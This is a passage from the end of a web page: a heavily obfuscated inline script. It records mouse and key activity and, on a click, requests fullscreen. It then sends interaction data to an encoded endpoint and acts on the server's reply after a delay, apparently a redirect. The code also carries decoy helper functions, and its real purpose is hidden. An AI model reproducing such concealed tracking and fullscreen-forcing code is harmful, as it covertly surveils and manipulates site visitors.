g3Gld7J[_PoKZj(0x84)]&&lwkZPmj++}),document[_PoKZj(FZHYVb[0x25])](_PoKZj(0x85),g3Gld7J=>{function _PoKZj(g3Gld7J){var _PoKZj="MDkWPsZxhR*n!{lb&XKQ4)}tA;J`H@?:UVY.5fc3,(dp%IjwFE=>r08NiBSGev|TL2]mgCu1O#q/o~_<\"+[za$9^6y7",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function MSUxhJ2(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=_PoKZj(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}return g3Gld7J[MSUxhJ2(0x86)]&&HwsNDHD++}),window[_PoKZj(0x87)]={["cl"](g3Gld7J,_PoKZj,MSUxhJ2){function j2tRUWQ(g3Gld7J){var _PoKZj="&ahkiHERUSKjYLgc/^D!lGu#txr@z\",[5JV3qP9>1om8_F?|=.{~INpOWQsd0nZ+;27T6vCywb$f)}<4*]X(%BMA`e:",j2tRUWQ,R_2lkdW,Q4sOnFn,nco7OV,FUaXU5,eS9fQMb,Umd97Q;N4W9hYK(j2tRUWQ=""+(g3Gld7J||""),R_2lkdW=j2tRUWQ.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],FUaXU5=FZHYVb[0x0],eS9fQMb=-FZHYVb[0x1]);for(Umd97Q=FZHYVb[0x0];Umd97Q<R_2lkdW;Umd97Q++){var RpmYYq=_PoKZj.indexOf(j2tRUWQ[Umd97Q]);if(RpmYYq===-FZHYVb[0x1])continue;if(eS9fQMb<FZHYVb[0x0]){eS9fQMb=RpmYYq}else{N4W9hYK(eS9fQMb+=RpmYYq*FZHYVb[0xc],nco7OV|=eS9fQMb<<FUaXU5,FUaXU5+=(eS9fQMb&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],FUaXU5-=FZHYVb[0x2])}while(FUaXU5>FZHYVb[0x9]);eS9fQMb=-FZHYVb[0x1]}}if(eS9fQMb>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|eS9fQMb<<FUaXU5)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function R_2lkdW(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=j2tRUWQ(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}document[R_2lkdW(0x88)](g3Gld7J)?.addEventListener(R_2lkdW(0x89),()=>{if(C1tndH){function g3Gld7J(g3Gld7J){var j2tRUWQ="W#8w_%/Ku4E&=?{pVFQJa}:6g\"DOG0kLx.o)U[<hj$2(ClR~B5S]XcI+ey`H7>|M;rsbAz*31vNf,PtTYimnZd@^9q!",eS9fQMb,RpmYYq,_PoKZj,R_2lkdW,Q4sOnFn,nco7OV,FUaXU5;N4W9hYK(eS9fQMb=""+(g3Gld7J||""),RpmYYq=eS9fQMb.length,_PoKZj=[],R_2lkdW=FZHYVb[0x0],Q4sOnFn=FZHYVb[0x0],nco7OV=-FZHYVb[0x1]);for(FUaXU5=FZHYVb[0x0];FUaXU5<RpmYYq;FUaXU5++){var Umd97Q=j2tRUWQ.indexOf(eS9fQMb[FUaXU5]);if(Umd97Q===-FZHYVb[0x1])continue;if(nco7OV<FZHYVb[0x0]){nco7OV=Umd97Q}else{N4W9hYK(nco7OV+=Umd97Q*FZHYVb[0xc],R_2lkdW|=nco7OV<<Q4sOnFn,Q4sOnFn+=(nco7OV&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(_PoKZj.push(R_2lkdW&FZHYVb[0x3]),R_2lkdW>>=FZHYVb[0x2],Q4sOnFn-=FZHYVb[0x2])}while(Q4sOnFn>FZHYVb[0x9]);nco7OV=-FZHYVb[0x1]}}if(nco7OV>-FZHYVb[0x1]){_PoKZj.push((R_2lkdW|nco7OV<<Q4sOnFn)&FZHYVb[0x3])}return t24J32(_PoKZj)}function j2tRUWQ(j2tRUWQ){if(typeof rxdmS4[j2tRUWQ]===FZHYVb[0x5]){return rxdmS4[j2tRUWQ]=g3Gld7J(FlCAu25[j2tRUWQ])}return rxdmS4[j2tRUWQ]}if(j2tRUWQ(0x8a)in xEv0OAf){eS9fQMb()}function eS9fQMb(){}return}C1tndH=!FZHYVb[0x0];const RpmYYq=cUL0VT();N4W9hYK(Q4sOnFn[R_2lkdW(0x8b)](nco7OV,RpmYYq+ZkiMN6J*FZHYVb[0x15]+""),setTimeout(()=>{function g3Gld7J(g3Gld7J){var j2tRUWQ="BgJTpWQAlCa0:F_8If{~zH64=P#<e*`bm>R)dDXGq3/ZSM5K@j[r,(Uu!.?n7sxEN$|9v^kYhiLV&Ot1o2+%\"yw;}]c",eS9fQMb,RpmYYq,_PoKZj,R_2lkdW,Q4sOnFn,nco7OV,FUaXU5;N4W9hYK(eS9fQMb=""+(g3Gld7J||""),RpmYYq=eS9fQMb.length,_PoKZj=[],R_2lkdW=FZHYVb[0x0],Q4sOnFn=FZHYVb[0x0],nco7OV=-FZHYVb[0x1]);for(FUaXU5=FZHYVb[0x0];FUaXU5<RpmYYq;FUaXU5++){var Umd97Q=j2tRUWQ.indexOf(eS9fQMb[FUaXU5]);if(Umd97Q===-FZHYVb[0x1])continue;if(nco7OV<FZHYVb[0x0]){nco7OV=Umd97Q}else{N4W9hYK(nco7OV+=Umd97Q*FZHYVb[0xc],R_2lkdW|=nco7OV<<Q4sOnFn,Q4sOnFn+=(nco7OV&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(_PoKZj.push(R_2lkdW&FZHYVb[0x3]),R_2lkdW>>=FZHYVb[0x2],Q4sOnFn-=FZHYVb[0x2])}while(Q4sOnFn>FZHYVb[0x9]);nco7OV=-FZHYVb[0x1]}}if(nco7OV>-FZHYVb[0x1]){_PoKZj.push((R_2lkdW|nco7OV<<Q4sOnFn)&FZHYVb[0x3])}return t24J32(_PoKZj)}function j2tRUWQ(j2tRUWQ){if(typeof rxdmS4[j2tRUWQ]===FZHYVb[0x5]){return rxdmS4[j2tRUWQ]=g3Gld7J(FlCAu25[j2tRUWQ])}return rxdmS4[j2tRUWQ]}return io4LB2P(R_2lkdW(0x8c),{[R_2lkdW(0x8d)]:FUaXU5,[j2tRUWQ(0x8e)]:Umd97Q,[j2tRUWQ(0x8f)]:z12fX0-ypO47D,mm:lwkZPmj,dc:HwsNDHD,fk:_PoKZj,[j2tRUWQ(0x90)]:!document[j2tRUWQ(0x91)]&&document[j2tRUWQ(0x92)](),ms:RpmYYq-z12fX0})[j2tRUWQ(0x93)](g3Gld7J=>{return g3Gld7J&&setTimeout(()=>{return WuMNj_9(g3Gld7J)},MSUxhJ2?MSUxhJ2-(cUL0VT()-RpmYYq):FZHYVb[0x0])})[j2tRUWQ(0x94)](()=>{return FZHYVb[0x0]})},FZHYVb[0x20]))})},ch:()=>{function g3Gld7J(g3Gld7J){var _PoKZj="<VEArB@_XFT\"s?]ok[u(>n}*vH,wC`8{xyZLd6J|.+Pj1U5m:tQcR0IM)a$bp723D^4;if9gW=N&GSK~hOY%ze!#/ql",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}return io4LB2P(_PoKZj(0x95),{[_PoKZj(0x96)]:FUaXU5,[_PoKZj(0x97)]:Umd97Q})[_PoKZj(0x98)](g3Gld7J=>{return Number(g3Gld7J)===FZHYVb[0x1]})},bl:()=>{function g3Gld7J(g3Gld7J){var _PoKZj="e9dkCH|]UEmqL6x+=g_,nNPQbIKG<iB/pD@0VWoMh^>cS)Tr&[A4ZROYFsw3J7f\"Xj:.#l5ayv(!}$`u{%1;*2?~8zt",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}if(_PoKZj(0x99)in xEv0OAf){MSUxhJ2()}function MSUxhJ2(){function g3Gld7J(g3Gld7J){var _PoKZj="`AKIOT7pBc0Jl#_d3s~,%4i5Hb1uQZSw)M8]@za2FV?$vLgWXmof<h+}jUCr:[&PyG!.t9{6*/D>Nex^(=Ekn\"|;RqY",MSUxhJ2,j2tRUWQ,Q4sOnFn,nco7OV,R_2lkdW,FUaXU5,eS9fQMb;N4W9hYK(MSUxhJ2=""+(g3Gld7J||""),j2tRUWQ=MSUxhJ2.length,Q4sOnFn=[],nco7OV=FZHYVb[0x0],R_2lkdW=FZHYVb[0x0],FUaXU5=-FZHYVb[0x1]);for(eS9fQMb=FZHYVb[0x0];eS9fQMb<j2tRUWQ;eS9fQMb++){var Umd97Q=_PoKZj.indexOf(MSUxhJ2[eS9fQMb]);if(Umd97Q===-FZHYVb[0x1])continue;if(FUaXU5<FZHYVb[0x0]){FUaXU5=Umd97Q}else{N4W9hYK(FUaXU5+=Umd97Q*FZHYVb[0xc],nco7OV|=FUaXU5<<R_2lkdW,R_2lkdW+=(FUaXU5&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(Q4sOnFn.push(nco7OV&FZHYVb[0x3]),nco7OV>>=FZHYVb[0x2],R_2lkdW-=FZHYVb[0x2])}while(R_2lkdW>FZHYVb[0x9]);FUaXU5=-FZHYVb[0x1]}}if(FUaXU5>-FZHYVb[0x1]){Q4sOnFn.push((nco7OV|FUaXU5<<R_2lkdW)&FZHYVb[0x3])}return t24J32(Q4sOnFn)}function _PoKZj(_PoKZj){if(typeof rxdmS4[_PoKZj]===FZHYVb[0x5]){return rxdmS4[_PoKZj]=g3Gld7J(FlCAu25[_PoKZj])}return rxdmS4[_PoKZj]}function MSUxhJ2(g3Gld7J){const _PoKZj={};for(let MSUxhJ2 of g3Gld7J.replace(/[^w]/g,"").toLowerCase())_PoKZj[MSUxhJ2]=_PoKZj[MSUxhJ2]+FZHYVb[0x1]||FZHYVb[0x1];return _PoKZj}function j2tRUWQ(g3Gld7J,_PoKZj){const MSUxhJ2=buildCharMap(g3Gld7J),j2tRUWQ=buildCharMap(_PoKZj);for(let Q4sOnFn in MSUxhJ2)if(MSUxhJ2[Q4sOnFn]!==j2tRUWQ[Q4sOnFn]){return FZHYVb[0x26]}if(Object.keys(MSUxhJ2).length!==Object.keys(j2tRUWQ).length){return FZHYVb[0x26]}return!0x0}function Q4sOnFn(g3Gld7J){const _PoKZj=nco7OV(g3Gld7J);return _PoKZj!==0x1/0x0}function nco7OV(g3Gld7J){if(!g3Gld7J){return-FZHYVb[0x1]}const _PoKZj=nco7OV(g3Gld7J.left),MSUxhJ2=nco7OV(g3Gld7J.right),j2tRUWQ=Math.abs(_PoKZj-MSUxhJ2);if(_PoKZj===0x1/0x0||MSUxhJ2===0x1/0x0||j2tRUWQ>FZHYVb[0x1]){return 0x1/0x0}const Q4sOnFn=Math.max(_PoKZj,MSUxhJ2)+FZHYVb[0x1];return Q4sOnFn}window[_PoKZj(0x9a)]={buildCharacterMap:MSUxhJ2,isAnagrams:j2tRUWQ,isBalanced:Q4sOnFn,getHeightBalanced:nco7OV}}return io4LB2P(_PoKZj(0x9b),{[_PoKZj(0x9c)]:FUaXU5,[_PoKZj(0x9d)]:Umd97Q})[_PoKZj(0x9e)](()=>{})}})}g3Gld7J()})();
</script>

</body>
</html>
